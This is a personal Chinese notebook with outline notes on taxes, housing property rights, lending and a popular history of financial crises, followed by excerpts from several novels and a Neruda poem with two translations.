  • 种类
    • 土地使用税
    • 房产税

行为税

  • 为限制这类行为征收的税，如对环境不好等

  • 车辆购置税

  • 契税或印花税

    • 注：合同印花缴税才能拥有，可以证明合同合法有效

例子

  • 水果
    • 增值税
  • 抽烟
    • 消费税
    • 增值税
  • 股票
    • 印花税
  • 买车
    • 行为税 => 车辆购置税
    • 财产税 => 车船使用税
    • 流转税 => 消费税、增值税
    • （关税）
  • 买房
    • 行为税 => 契税、印花税
    • 财产税 => 土地增值税
    • 流转税 => 增值税
    • （房产税）

住房相关

农村

自留地

  • 所有权归集体
  • 收成归农民

宅基地

  • 所有权归集体
  • 使用权归农民

小产权房

  • 宅基地盖的房子没房产证、没产权、没土地使用权
  • 不能交易

城市

福利房

  • 没产权，只能自己住
  • 可以补交土地出让金，买下房子产权，进行自由买卖

商品房

  • 有产权，可以自由买卖

保障性住房

  • 经济适用房
  • 集资房
  • 限价房
  • 共同点
    • 国家建设，要缴的土地出让金比较少，价格便宜
    • 政府和个人共同拥有产权
    • 住满一定年限，补交土地出让金，允许自由买卖

产权问题

居住用地

  • 土地使用年限：70 年
  • 能上户口，办居住证
  • 能申请公积金贷款
  • 首次购房缴税有优惠

商业用地

  • 土地使用年限：40 年
  • 水电气费按商用价格来算，价格不菲

综合用地

  • 土地使用年限：50 年
  • 能上户口，办居住证
  • 水电气费按商用价格来算，价格不菲

产权到期

  • 续合同，缴纳土地出让金，房屋主人不变
  • 国家回收土地，拆迁

面积

  • 建筑面积 => 公摊面积 => 套内建筑面积 => 套内使用面积

生育相关

  • 规律：经济落后和发达，人都少；经济发展适中，人最多

借贷相关

  • 事件
    • 次贷危机（放给没有偿还能力的人的贷款，叫次贷，与之相反的叫优贷）
    • 欧债危机
  • 理性贷款金额：最高不超过工资的 50%-70%
  • 高利贷：法律规定，民间借贷利率超过 36% 属于高利贷，违法

消费心理学

  • 心理账户：消费目的不同，消费意愿不同
  • 商家常用伎俩：低价品标折扣，高价品标降价
  • 价格锚点
    • 不用来卖的商品，品质不一定高，用作让顾客比较产生落差和消费意愿
    • 顾客一般不选高价和低价，而是选中间价
  • 损失规避：比起得到，更害怕失去

传销相关

  • 基本概念：变相庞氏骗局，不做产品，只要人，没有新人入场，体系崩溃

漫画经济学：金融危机

金融危机概述

危险和机遇

起因

  • 资源配置
  • 经济周期

几大事件

  • 美国大萧条
  • 郁金香泡沫
  • 南海泡沫
  • 密西西比泡沫
  • 亚洲金融风暴
  • 美国次贷危机

学习理由：了解和规避

明斯基时刻

经济危机通常由金融危机导致

金融不稳定假说

  • 提出人
    • 海曼·明斯基
  • 明斯基时刻
    • 经济从好到坏的时间点
    • 大周期的转折点
  • 原因
    • 对冲性融资
      • 基础：信贷
      • 典型表现：借的多赚的多，经济表现为增长
      • 特点：能还上本金和利息
      • 处在经济增长的初期
    • 投机性融资
      • 基础：信贷扩张
      • 典型表现：回报更大，但风险也更高
      • 特点：只还得起利息
      • 处在经济增长的中期
    • 庞氏融资
      • 基础：供过于求，通货膨胀
      • 典型表现：借钱还钱，类似庞氏骗局
      • 特点：本金利息都还不起，只能借钱还钱
      • 处在经济增长的后期

经济下行

  • 供过于求
  • 信贷紧缩
  • 公司倒闭
  • 员工失业
  • 股市大跌

缓解经济危机

  • 核心：去杠杆化（借的钱）
  • 债务违约重组
  • 财富再分配
  • 货币调节

郁金香泡沫

发源地

  • 荷兰，荷兰重商文化

尼德兰革命

  • 第一次资产阶级革命
  • 荷兰式第一个资本主义国家

资本主义

  • 自然经济
  • 资本主义萌芽
  • 私有制

开启股份

  • 荷兰东印度公司->阿姆斯特丹证券交易所

开启银行

  • 阿姆斯特丹银行

爆发原因

  • 太过富有，为炫耀资本，将郁金香价值推高到虚高地步，因为郁金香很难种，物以稀为贵

泡沫破裂

  • 英国一水手吃了郁金香球茎

南海泡沫

背景

  • 西班牙王位继承战争
  • 法国因亲缘关系派遣嫡系继承西班牙王位
  • 奥地利国王与西班牙国王同宗，不乐意法国举动
  • 打架，元气重伤
  • 英国怕法国获胜，帮奥地利打架，打出经济亏损

形成

  • 英国战后经济下滑，诞生国债，欺骗国内贵族下南美挖金矿，产生南海公司

发展

  • 南海公司下南美失败，回国发行股票，以国家担保的公司信用，用自家股票换取平民手里的国债，股票价格疯涨，实体业发展惨淡

泡沫破裂

  • 政府出台《泡沫法案》

影响

  • 股份阴影
  • 英国政局

密西西比泡沫

背景

  • 法国国王路易十四，喜欢发动战争，而且挥霍无度

形成

  • 法国发行国债，路易十四无力偿还，加上国内政治原因，爆发法国大革命，被推上断头台

发展

  • 约翰·劳摄政，建立通用银行，以金本位担保，发行纸币，成立密西西比公司伪装去北美挖金矿，欺骗民众信用

高潮

  • 密西西比公司发行股票，收取民众手中的国债

泡沫破裂

  • 有人想要拿钱换黄金

其他

  • 约翰·劳墓志铭

这里长眠着那个著名的苏格兰人， 他的计算技巧无人能敌： 他用简单的代数规则， 把法国变得一贫如洗。

美国大恐慌（1837）

本质

  • 一个美国人瞎炒房

背景

  • 美国独立战争和美国第二次独立战争，中央银行信贷紧缩

形成

  • 杰克逊关闭银行，分发黄金到各州银行，州银行印钞过多

发展

  • 西进运动，刷新房地产上限，但是没人买

泡沫破裂

  • 杰克逊宣布限制投机，房地产只能用黄金，银行被挤兑直至破产，此时英国加息，并且英国投资者撤资，造成经济一落千丈

美国银行危机（1907）

背景

  • 淘金热，南北战争（北工南农，北胜南败）

形成

  • 信托公司形成，部分民众从银行贷款给信托投资，此时欧洲战后元气大伤，集体加息，投资美国股市的欧洲投资者撤资，适逢旧金山大地震，股市的钱流入灾区

发展

  • 银行 -> 股民 -> 信托 -> 股市，越来越多的银行储民怀疑自家资产安全，蜂拥而至挤兑银行

泡沫破裂

  • 银行拿不出资金，资金全在信托，信托倒闭破产

解决

  • 摩根救市

影响

  • 影响世界
  • 成立了美联储（美国联邦储备局）

美国大萧条（1929-1933）

过程

  • 柯立芝繁荣 -> 大萧条 -> 关税战 -> 罗斯福新政

背景

  • 一战，美国倒卖军火，参战成为战胜国捞钱，升级设备提高生产力

形成

  • 欧洲一战战后一片狼藉，急需恢复经济，美趁虚而入占领市场，生产大量产品并提高关税，此为柯立芝繁荣

发展

  • 政府不干涉市场，采取自由放任主义，并且此时垄断形成，贫富差距过大。银行为刺激消费，降低贷款门槛，穷人过度消费导致企业过度生产，产能过剩。

泡沫破裂

  • 有人率先抛售股票，引起恐慌，股市大跌，股票贬值，穷人股民还不起贷款，银行收不了钱，一半银行被挤兑破产。企业产能过剩，产品卖不出，银行又不给贷款，大批中小企业破产。大量人失业。

主要原因

  • 企业产能过剩

影响

  • 范围广，从美国波及全世界
  • 时间长，爆发四年影响十年
  • 破坏大

解决

  • 胡佛救市失败
    • 干预银行
    • 不准降工资 -> 企业只能裁员 -> 失业率飙升
    • 提高关税 -> 引起欧洲关税大战
  • 罗斯福新政
    • 干预银行（废除金本位）
    • 调整工业，《全国工业复兴法》
    • 调整农业，《农业调整法》减产
    • 加强民生，以工代赈
  • 二战开始，产能过剩问题解决，并且赚了军火费用

其他

  • 泰罗制（弗雷德里克·泰罗，科学管理之父）
  • 福特制
  • 诞生分期付款
  • 凯恩斯主义

第一次石油经济危机（1973-1975）

背景

  • 《红线协定》，石油输出国组织（OPEC），以色列阿拉伯战争

形成

  • 阿拉伯人打不过美国撑腰的以色列，宣布石油涨价甚至禁运，美国宣布支持沙特，从此美元与石油挂钩，形成石油美元回流

第二次石油经济危机（1979-1981）

背景

  • 两伊战争，互炸对方油田

重大意义

  • 是历史上第一次因为能源问题而产生的全球性经济危机

日本与《广场协议》

背景

  • 美苏冷战，美安插眼线，找上日本，把日本从战败国经济恢复起来，日本大搞生产，适逢朝鲜战争爆发，美军驻扎，消费也在日本 -> 神武景气、岩户景气、伊奘诺景气

形成

  • 第一次石油危机，美国跌倒，日本石油进口受影响，于是产业结构高度化，在第二次石油危机中影响不大，带领亚洲四小龙和四小虎，美国产品受石油危机影响没有竞争力，于是美国与其他各国签订《广场协议》，协议内容：贬低美元，促进出口

发展

  • 日本出口红利消失，于是自产自销，央行降低利息，施行宽松货币政策，银行大量外贷，经济增长，吸引外国投资者投资

高潮

  • 第三次石油危机，各行业成本上涨，各行纷纷找银行借贷，银行没钱，更严重的是房地产市场乱象

泡沫破裂

  • 三重野康上台加息，收回市面货币，股市楼市没有投资者价格开始下跌，一落千丈，外国投资者撤资，经济下行

影响

  • 消失的十年
  • 平成废物

黑色星期一（1987）

背景

  • 美股和纽交所，梧桐树协议，程式交易

形成

  • 美联储加息，并购不优惠税费，大量人抛售股票，程式交易开始运作，爆发“羊群效应”，波及全世界

解决

  • 美国政府重整股市

索罗斯与亚洲金融风暴

背景

  • 亚洲金融崛起，华盛顿共识，固定汇率与浮动汇率

形成

  • 索罗斯侵入亚洲金融圈，做空泰铢（做空靠差价），泰国用外汇储备抵抗，败退，泰铢严重贬值，索罗斯携款跑路

发展

  • 索罗斯打算按这一套方式做空亚洲所有货币，遇上香港，爆发中国香港保卫战，香港加中国在外汇储备上世界第一，索罗斯败退

其他

在金融上，说不上有没有道德，都只是一种操作。——乔治·索罗斯（许多人对他恨之入骨）

美国次贷危机

背景

  • 联邦住宅贷款抵押公司、联邦国民抵押贷款协会、房屋贷款合同资产证券化（贷款合同 -> 债券）、投资银行包装（债务抵押证券，其实就是债券的债券）

形成

  • 投行买通评级机构忽悠投资者，一条链最终绑定到房价上，房价涨跌决定盈亏

发展

  • 美联储加息，浮动利率提高，银行收回房屋，房屋供过于求，开始跳水式下跌

泡沫破裂

  • 贷款者因为加息还不起 -> 银行卖不了房 -> 二房 -> 保险合同倒卖，不赔偿 -> 投行赔钱 -> 投资者赔钱

解决

  • 国有化金融机构
  • 发钱
  • 降息

一切根源

  • 源于信任

我想要两颗西柚

句子

　　爱情本来就是有起承转合在里面的，这才是它更真实的样子。甜蜜是真实的，悲伤也是真实的，在最后结局到来之前，所有的一切都值得期待。

　　人在当下的表达总是真诚的，只是在长远的时间线上，前后的真诚总是相悖的。

　　在没有真正遇到你的时候，我总会赋予你很多想象。我希望你和 我是相似的，但我又期待我们很不相同。树和土壤完全不同，彼此补 给才能够更好地共生。我好像不再需要另一棵树了。

　　如果我要把任性的权利交付给时间

　　那我还能剩下什么呢

　　别人总说“下一个会更好”，但其实我不太相信这个说法。在爱情面前，没有什么好与更好，遇到的每个人都不一样，需要磨合的地方也都不一样，根本不存在比较级。

　　没有人在爱情中会不辛苦，获得幸福的人大概是因为双方都舍不 得先放弃吧。

　　我提着袋子回家的路上，突然觉得夏天好像要来了。我闻到了槐花的香味，淡淡的，像是有什么好事要发生。

　　有些人你很确信停留在什么关系中是最好的，出于对自我的保护，也出于对对方的负责，你就会选择让关系定格在那里，不会再向前挪动半步。人这一生可能会有很多很多次心动的瞬间，但现实就摆在那里，冲动从来不能解决任何问题。

段落

　　我希望所有在爱里受过伤的人，都能重新站起来，不要去放大自己的缺点或是漠视自己的优点。你是很好的人，你值得被爱，不要怀疑这件事。你想要拥有的生活总会到来。当然，也不要记恨那些没能跟你走下去的人。过了很久之后，你会感激他们，是他们的离开让你找到了更正确的可能性。你正在期待的，或者未来期待的那个人，才有可能是真正对的那个人。

　　几年前我和一个不太熟悉的朋友通话，我们从很琐碎的近况聊起，最后他跟我讲了一段话，让我印象很深。

　　“你很好，你不要总觉得自己不好。我希望有一天你能和内心的自己真正和解，不要让表象和内心互相打架了，放轻松一点。”

　　我很认真地思考过什么是与自己和解，直到昨晚那个梦做完，我突然懂了。原来就是那么一瞬间的事情，不再去计较过往的得失，能够抬起头看前面的路。“和解”原来就是意识上抬的那一下头。

　　两个底层逻辑不同的人在一起会有两种结果。一种是非常快乐，因为可以在最缺失的部分彼此补充。你的快乐带给他激情，他的悲观使你平静，各取所需。另外一种就是彼此排斥，你无法理解一件事发生之后他的悲观，他也不能理解你每天在快乐些什么，两个人会因为最初的不同而吸引，但之后只会越走越远。

　　想起之前和前任的一次争吵，他很不解地说： “为什么你这么没有安全感？你能不能成熟一点？”我那一刻特别委屈。我真的也不想这样，谁不希望自己坦然一点，轻松一点呢。 可我从心底里总是认为自己不值得被爱，所以不断地获取关注，得到确认，我才能够稍微踏实一点。但这对于他来说，压力太大了。 我们本可以有更多快乐的事情去做，而我偏偏要把时间消耗在那些无意义的“确认”上。

　　人的安全感来自很多方面，比如父母的认可，朋友的信任，金钱的满足，以及被喜欢的人坚定地选择等等。我本以为我在其他层面上努力，就可以让安全感这个东西得到平衡。但事实上，我在其他事情上做了越多，我对于爱情带来的安全感渴望反而越大。

　　说起这些事，我好像又陷入了自我否定的死循环。人在跟自己较劲的过程中，还真是乐此不疲。

　　关于我的过去，每一次爱情发生的时候，我都站在下风口。对方无意识的一阵风吹过来，我就会激动不已。但是关于我的风，从来没有吹到过那一边。他们只会在某一个片刻看到我，然后走到我身边一下，很快就又离开。

　　而我在你的眼神里面，看到了平等的喜欢，这是太难得的事。我很喜欢观察别人，尤其是亲近的人。你在面对我的时候，会流露出羞涩，甚至一些举动也开始变得小心翼翼。我知道那是关于喜欢的显性表现，不需要太浓烈，一点点就够。我知道我点到为止也就可以了，所以我不敢让你知道我过多的想法。

　　所有人都渴求爱，但对过高浓度的爱又会产生恐惧。人终归还是会为适量的爱，甚至是求而不得的东西着迷。

　　想起我一个朋友指责过我“不够尊重爱情”。我当时非常生气，我觉得我无比尊重，怎么可能是他口中的那种人。

　　他反驳我，你真的不尊重爱情。

　　我说，你凭什么这样讲。

　　他说，如果你尊重爱情，当它来临的时候，发生在你身上的时候，你敢于直面它吗？你会拼了命去争取它吗？你会在乎“面子”这件事吗？

　　我想了想，我好像不会，我没那么激进，但我相信它总会发生。

　　他说，你想要的顺其自然，是给了对方太多幻想，如果一切不按照你想象的发生，你会采取行动吗？如果不会，那你就是不够尊重它。你连争取它的念头都不敢去做，何谈尊重。

小诗

第三十一天的诗


我以为我会介意的

后来都释怀了


我以为我会放弃的

后来都延续了


我以为我会疼痛的

后来都融化了


我以为我会的

后来都不会了


我以为我以为的

后来都无关于后来了

第三十五天的诗


一觉醒来的时候

我总是非常想你

还好我可以转过身去抱抱你


不再担心你迷路于梦中

或是掉进过往的回忆里

第十三天的诗


他们的肢体在扭曲

楼宇以方正的形状支离破碎


一只飞蚊到我耳边说

宇宙烧着了

你快离开这里


我闭上眼睛

双颊灼热


好事之人举着杯子

摇晃着身躯

指指点点


我好像醉了

只能把自己蜷起来

三个小时之后才偷偷回到生活

第二十八天的诗


我像一棵疯长的树

有极其茂盛的部分

也有残败的枝叶


过路客们抬头看我

只会停在一个角度指点

没有人会去关心另一个侧面


直到一天他路过了我

围着我一圈一圈地转


他对着枯枝讲话

他对着过分茂盛的树叶斥责


他开始住在树下

他在用心修剪我

我离开之后

句子

　　你想斩断现在这段恋情，因为⿇烦多于快乐。你⼼想：“这也太⿇烦了。如果我⾃⼰有个⼩公寓，可以在凌晨两点做爆⽶花，再喝上⼀杯葡萄酒，没有任何情绪⼲扰，不是更好吗？”

　　掐⼀下⾃⼰。你感觉到疼了吗？还是仅仅感觉到⾃⼰还活着？

　　将性和其他期待统统抛开！恋爱的核⼼是友谊。

　　寻找伴侣就像⼀场旅⾏，你不知道中途会停多少次，会绕多少弯路，也不知道这场旅⾏会持续多久，甚⾄不知道⽬的地在哪⾥。

人间告白

句子

　　我对爱的理解是：遇见那个对的人，然后爱他就像爱生命。

　　爱不是逃避地去赴死，爱应该是一种赴汤蹈火后的理智觉醒。

　　我悄悄抬起头看了他一眼，只见他挪了几个座位后，坐到了我的旁边，撩起我耳边的头发，慢慢地凑近我的耳朵，很小声地说了一句：“我喜欢你。”

　　去追求一份不属于自己的爱，难免会遍体鳞伤。但这奇妙的人世间总会安排很多的意想不到，有些人领悟得早，就抓住了幸福，有些人自怨自艾，也就只能和幸福擦肩而过。

　　有些人出现后，明明知道他爱你比爱他自己还要多，可自己就是没办法全身心地接受。

　　彩虹一定会有的，但不是上苍的赏赐，而是我们自己争取回来的。

　　长大了，就意味着已经不能在爱自己的人面前无所顾忌地哭了。

　　无论你做不做得到在黑暗面前勇敢，但起码你得学会珍惜现有的时间，不留遗憾地过好每一天。

　　愿你化作春风、细雨、暖阳，我们永远爱你，想你，怀念你。

　　托马斯·默顿曾写道：“命中注定我们相爱，我们不该独自找寻生命的意义，而应陪伴彼此一起找寻。”

　　当人生没有了A选择时，你就不得不去好好地适应并勇敢地选择B。逃避现实是解决不了任何问题的，只会让自己的悲伤和痛苦加重，只有勇敢面对才能重获新生。

　　我记得小忽走的那天，有个护工阿姨告诉我：别把眼泪流到爱人的身上，让他了无牵挂地离开吧，他真的受苦了。

　　爱情并不是全部，但也是我们人生中不可缺少的一部分，选择让自己感到舒适的爱情才会走得更长久一些。

　　第二天，我们就约着一起去了游泳池，一想到要穿那么少在小忽面前出现，我真的挺羞涩的。

　　那次我计划的旅行线路是：武汉—新加坡—泰国。制定这段线路的初衷是：先去新加坡吃好玩好，再在泰国的苏梅岛上住一个浪漫的海边酒店享受大海，自然受孕。真是一个完美的计划！

　　比起小忽我显得很紧张，每次只要排卵期一到，我就开始各种撩他，起初小忽是热血沸腾、激动无比。

段落

　　听不懂中文的老外们，估计也能猜得到这个中国男孩一定是在对身边的女孩表白或者求婚，大家纷纷投来了有爱的笑容。

　　那一刻，我感受到了实实在在的幸福。

　　我认为一个人一旦亲自经历过苦难，他必然会从中得到一种成长。等到苦难再来时，自己能更好地面对和化解，或许这个时候才会领悟到，其实并不是世界为自己改变了什么，而是自己的经历和遭遇改变了我们的内心，让它变得更坚强、更勇敢，让它在面对新逆境和困苦时，能更勇敢地去与之抗衡了。 彩虹一定会有的，但不是上苍的赏赐，而是我们自己争取回来的。

　　每个有创伤后遗症的人，其实也都应该找到属于自己的调节方式和情感宣泄途径。我属于那种再痛再苦，都不愿跟别人说太多的人，因为不愿给别人增加负担，更不愿把悲伤和负能量不停地倾诉给别人。我会选择看书、写信和画画。但是真正做到理智，在这么短的时间里是不可能的。所以，实在很难受我也会跟最好的朋友说，说过以后再自我调节。其实，我们最终应该明白能让自己好起来的那个人不是别人，正是我们自己。

　　以前的我从未真正体会过失去是什么滋味，现在，我一夜间明白所谓失去就是那个你习以为常又很熟悉的人，从此不会出现在你触手可及的那个地方了，并且是永远不会再出现了。

　　如果你能意识到这份失去是什么滋味，或许你还会感悟到并不是每个人、每段感情都有重新开始的机会。很多人、很多事一旦失去就意味着永远，所以不留遗憾才不枉此生。遗憾多了眼泪也就多了，眼前这最年轻的今天不是用来哭泣的，该好好地珍惜生命、珍惜感情，也该深刻地反省，学会仰望生命，学会敬畏死亡。

　　失去的滋味并不会只是那一瞬间的疼痛，它会像毒液一样慢慢渗透进我们的每寸肌肤、每根神经。一段伤口还没愈合却又要不断叠加更多新的伤口。那种滋味真的会让人绝望和窒息，甚至你根本就没办法去躲避失去后呈现出的各种创伤。

　　“奶奶，我好羡慕你们能这样陪着对方到这个年纪，我一辈子都不可能有这个机会了。”

　　奶奶牵了我的手，她一直对我说：

　　“小姑娘别怕，为了孩子你也要勇敢些。”

　　在餐厅里一直没哭的我，离开餐厅后看着那个奶奶远去的背影，我就忍不住哭了。

　　在这个异乡的医院里，我对着一个白发苍苍的老奶奶说了我的心里话，我从不敢告诉别人小忽的病情，可是对着这样一个陌生的奶奶我什么都说了出来。她在这漫长的岁月里一定见了很多这样的事情，她也一定知道人生那么长，还要遇到更多我想象不到的事情，她听到我说了晚期以后只是用眼角的泪告诉我，别怕。

　　可不知为什么，“别怕”这两个字比“加油”对我来说有更大的触动。她知道我害怕，她看出了我坚毅又恐惧的那种眼神。所以她只是告诉我别怕，往后可能还有很多事情要自己去面对，为了孩子真的只能别怕。

　　我至今都记得那天的场景，记得那个奶奶跟我说的那句“别怕”。

　　我总相信，这世上所有人的相遇都是命中注定的一种安排，有时候陌生人能给予的力量更是自己想象不到的一种安慰。

　　有时候想想，真的是自己坚强地走了很久的路吗？我能坚强是因为有人给了我爱的力量，因为有身边的亲人，远方的朋友和那么多陌生人的温暖鼓励，我才能勇敢前行。我不知疲倦地往前走正是因为有大家在身后的陪伴，我知道大家最想要看到的是我能振作起来，而我努力坚强地去面对生活也是对大家最好的感恩。

　　其实这个世上没有任何一份无缘无故的爱，所以当别人对我付出爱和温暖时，我从不觉得这是应该和必须的。学会感恩是一件像播种一样的事情，播下爱的种子定会在将来的某一天开出温暖的花。

　　我是那种即使心里流泪但也笑得很甜的人，因为是对着我的爱人，我不想他有一丝一毫的自责或者内疚。

　　我在用我的方式给他快乐，告诉他我没事的，我才不会认输。你也不要认输，你有我，我可以保护你。

　　我也一直觉得老天爷是公平的，他不会拿走一个人的全部，他关上了我们的一扇门，让我们失去的同时也是希望我们成长。至于是不是会再开一扇窗，我认为，窗户就在那儿，推开它的不是上天，而是我们自己。

　　也或许有了新的人生，我不愿意接纳新的爱人，但我却愿意开始新的更精彩的生活。一个人如果真能活出两个人的人生，我觉得这本身就是一件很厉害、很骄傲的事情。

　　如果我的画、我的文字能给迷茫中的你们带去力量和光亮，请相信这就是我对你们的爱和感恩。也希望这份爱能带你们走出逆境，给你前行的路上点亮一束光。我可能没办法告诉你，逆境中该怎么去做选择，因为我想让你明白谁都没法帮你做选择，你得靠自己。别人的帮助和鼓励都只是陪伴的力量，而真正去勇敢面对问题的那个人只有自己。

　　龙应台在《目送》里这样说过：“我慢慢地、慢慢地了解到，所谓父女母子一场，只不过意味着，你和他的缘分就是今生今世不断地在目送他的背影渐行渐远。你站在小路的这一端，看着他逐渐消失在小路转弯的地方，而且，他用背影告诉你：不必追。”

　　以前有个人跟我说过，人这一辈子如果能跟随自己的心而活，是件很不容易的事情。仔细想想你会发现，真的能随心所欲地去选择一种生活，并不是想象中那么简单的。身旁的声音越多，你就越迷茫，所以我们在迷茫和无助时，需要的并不是一群人的开导和指点，你需要的是静下心来，把自己放入一个真空的隧道。黑暗更利于安静地思考，当你想明白自己真正想要的生活是什么时，那个黑暗的隧道里便会为你亮起一盏明灯。

　　无论是文字还是图画，其实都是一种诉说，把那些问句变成感叹句，不去问为什么你要离我而去，而是说你会在终点好好地等我来，问句是需要答案的。这世上很多事情本身就是没有答案的，感叹句不需要答案，它要的是你的抒发、你的宣泄和你的真情流露。

　　如果你能看到这本书，我希望你明白，从泥泞里站起来的时候不一定有人拉你一把，可只要你愿意，就算爬你也能爬出去。与其求助于人，为何不勇敢一点自己站起来呢？

山茶文具店

句子

　　我再度看向大海的方向，发现星星出现在天空中。出现在大海上方的星座感觉比平时更壮观，也更加悠闲自在。

　　我无声地和夜空中的星星交谈着。

　　我在沿着阶梯走向沙滩的途中，脱下了高跟鞋，难得光着脚走路。脚背立刻觉得被冰凉的沙子紧紧拥抱。

　　如果过去曾有过亲密往来，应该不至于失礼；相反地，也许这样更显亲切。

　　偶然一望，看到庭院角落红色与白色的彼岸花竞相绽放。

　　春多食苦、夏多食酸、秋多食辣、冬多食油。

　　数千、数万、数亿句话被火包围，升上了天空。我怔怔地看着这一幕。

段落

　　也有客人委托我写一封平淡无奇的信。

　　“你可以为我写很普通的信吗？”

　　园田先生很委婉地说。

　　“我只想告诉她，我还活着。”

　　他平静而稳重的说话声，就像美丽山丘上吹过的一丝微风。

　　我不由得想喝点酒，把寿司子姨婆留下的梅酒倒进杯里。上代的父母期望她们一辈子不愁吃，为上代取名“点心子”，为她的双胞胎妹妹取了“寿司子”的名字。至于她们的人生是否真的如了此愿，似乎一言难尽。这对名字和点心、寿司有关的姐妹，如今相亲相爱地长眠在同一座墓中。

　　我相信她现在一定很幸福，所以，我绝对不希望破坏她的幸福生活。如果她的先生看到用男性笔迹写给她的私人信件，一定会很在意。尤其是自己不认识的人写信给太太，心情必定会很复杂，如果因为这件事影响了他们的夫妻关系，不是很令人难过吗？

　　“我原本以为，这辈子再也不会和任何女人一起去某个地方了。”

　　他说话的声音很平静，好像身旁没人在听似的。我竖起耳朵，细听他的声音。

　　“这孩子的妈突然离开了我们，当时我完全乱了方寸，每天都想着带孩子一起去死；什么都不想做，整天都待在昏暗的房间内发呆。 现在回想起来，还觉得浑身发毛，那完全就是放弃了养育孩子。

　　“结果有一次，我看到她在用力吸美乃滋。她整张嘴、整张脸上都是美乃滋。那一刻，我被她的样子惊醒，意识到自己不能再继续这样下去。

　　“她妈妈离开时，她还不到两岁，所以好像并没有对妈妈的记忆，但现在每天睡觉时，仍然会抱着美乃滋瓶子。她可能把美乃滋当成母亲了吧。连这么小的孩子都努力设法撑过去，我这个父亲，怎么，可以一蹶不振？于是，我决定实现我和我老婆生前的共同梦想。”

　　“梦想？”

　　“对，我老婆以前曾说过，想开一家咖啡店。”

狮子之家的点心日

词语

  • 赧(nan3)然
  • 眼眵(chi1)
  • 皲(jun1)裂

句子

　　我不愿在意他人的看法，只盼独自消磨，而后永远离开。这是因为我尚且保留着某种傲慢的尊严，不愿意让任何人看见自己孱弱得不堪一击的模样。

　　房间里没有华丽的装饰，只在每一个重要位置静静摆放着方便使用的好物。

　　不过我还带来了唯一的漂亮连衣裙。除了试穿，我一次也没在别的场合正式穿过它。裙子是我特别喜欢的品牌，仅靠我的月薪实在舍不得买，毕竟至今光是买袜子、手提包之类的就已经花掉很多钱了。

　　可我的确为此牺牲了自己的情感。主治医师告诉我，罹患癌症的根本原因是身体不堪重负，我曾坚持认为这是医生误诊，自己根本没有任何精神压力。

　　曾经，也是这个姑娘告诉我，当你感到恐惧或厌恶的时候，不妨通过洗手转换心情。或许，这个姑娘也背负着不为人知的人生重担，却总是微笑以待，对所有苦痛缄口不言。

　　我明明还活着，却一味思考着死。我曾以为，这表示自己接纳了死。然而，正是小百教会我，接纳死亡的真正含义即愿意活下去，并且坦率承认自己想要长长久久地活下去。对我而言，这个认知带来了一场巨大的醒觉。

　　我从雫小姐身上还体会到一种宛如葡萄幼苗般安静蔓延的敬畏之感。

　　我重新将围巾紧紧绕在脖子上，此时从围巾上传来的，确确实实是雫小姐的气息。

　　二〇二〇年对所有人来说都十分不易，生命本身变得空前脆弱而无常。原这本小书予你勇气，以及温柔时刻。

　　感谢我的编辑为译稿的出版工作付出大量心血。感谢大家的择取与阅读。

段落

　　玛丹娜曾说，在这世上，痛苦分为两种。

　　一种是身体的痛苦，一种是心灵的痛苦。

　　倘若不同时克服这两种痛苦，就不会迎来幸福的终局。而临终安养院，便是帮助患者缓和身体与心灵双重痛苦的场所。

　　“您听过这样的说法吗？由乳牛得到牛乳，由牛乳得到奶酪，由奶酪得到生酥，由生酥得到熟酥，由熟酥提取醍醐，而醍醐正是最佳之物。奶酪可以理解为如今大家所说的酸奶，生酥是生奶油，熟酥是黄油，而醍醐是第五道也是最后一道提取物，是从牛乳中获取的最高等级的美味。在佛教教义里，它通常代指最高的佛法，‘醍醐味’这个词就是从这里来的。”

　　“雫小姐，”玛丹娜轻轻用手抚着我的脊梁，唤了我的名字，背脊处似乎沐浴着温暖的阳光，“您知道狮子在动物界被称作什么吗？”

　　突如其来的问题，令我愣在原地，看向玛丹娜。

　　“是……百兽之王吗？”

　　“没错，就是百兽之王。也就是说，您不用担心狮子会被敌人袭击，每日只要安心地吃饭、睡觉就好。”

　　“原来是这样，难怪这里叫做狮子之家。”我说，心中的阴霾顷刻消散。一直觉得“狮子之家”的名字非常古怪，刻意没有询问玛丹娜，此刻终于明白，这里的客人，包括我在内，大家都是狮子，是百兽之王。

　　我越发觉得，人之一生，犹如一根蜡烛。

　　蜡烛无法点亮它自己，也无法主动熄灭。一旦燃起烛火，只能静待蜡炬成灰的时刻。当然，它偶尔也会像您的亲生父母一般，在巨大的外力作用下倏然熄灭。

　　生，即意味着成为某人的光。

　　消耗自己的生命，化作他人的光。只有这样，人与人才能彼此照亮。想必您和养育您长大的父亲也是这样，多年来始终相互支撑，努力生活。

　　狮子之家的正门入口处，蜡烛燃烧了整整一夜，都是为祭拜雫小姐而点的。奇怪的是，昨晚的风也劲，烛火却未熄，直至燃烧殆尽。而且，最后的最后，它们安安静静地屏住呼吸，化作青烟升上天空。

　　我悄悄想着，那道消失于天际的青烟，大约便是人的灵魂吧。您觉得呢？

二十首情诗和一首绝望的歌

倚身在暮色里（Leaning Into The Afternoons）

英文

Leaning into the afternoons I cast my sad nets

towards your oceanic eyes.

There in the highest blaze my solitude lengthens and flames,

its arms turning like a drowning man's.

I send out red signals across your absent eyes

that move like the sea near a lighthouse.

You keep only darkness, my distant female,

from your regard sometimes the coast of dread emerges.

Leaning into the afternoons I fling my sad nets

to that sea that beats on your marine eyes.

The birds of night peck at the first stars

that flash like my soul when I love you.

The night gallops on its shadowy mare

shedding blue tassels over the land.

译文其一

倚身在暮色里，我朝你海洋般的双眼

投掷我哀伤的网。

我的孤独，在极度的光亮中绵延不绝，化为火焰，

双臂漫天飞舞仿佛将遭海难淹没。

越过你失神的双眼，我送出红色的信号，

你的双眼泛起涟漪，如靠近灯塔的海洋。

你保有黑暗，我远方的女子，

在你的注视之下有时恐惧的海岸浮现。

倚身在暮色，在拍打你海洋般双眼的海上

我掷出我哀伤的网。

夜晚的鸟群啄食第一阵群星，

像爱著你的我的灵魂，闪烁著。

夜在年阴郁的马上奔驰，

在大地上撒下蓝色的穗须。

译文其二

倚身于午后，我撒下忧伤的网

朝着你海洋般的眼眸。

在那烈火中，我的孤独延绵而灼烧，

如溺水者一般挥舞着手臂。

越过你失神的眼睛，我发出红色的讯号，

它汹涌如灯塔附近的海洋。

你空余幽暗，我那远方的女人，

在你的视线中时而浮现出可怕的礁岸。

倚身于午后，我撒下悲伤的网

向着拍击你海洋般眼眸的洋面。

夜晚的鸟群啄食初升的繁星，

闪烁如我恋你之时的魂灵。

夜色在晦暗的马背上驰骋，

在大地上撒下蓝色的缨穗。

我们失去了黄昏（We Have Lost Even）

英文

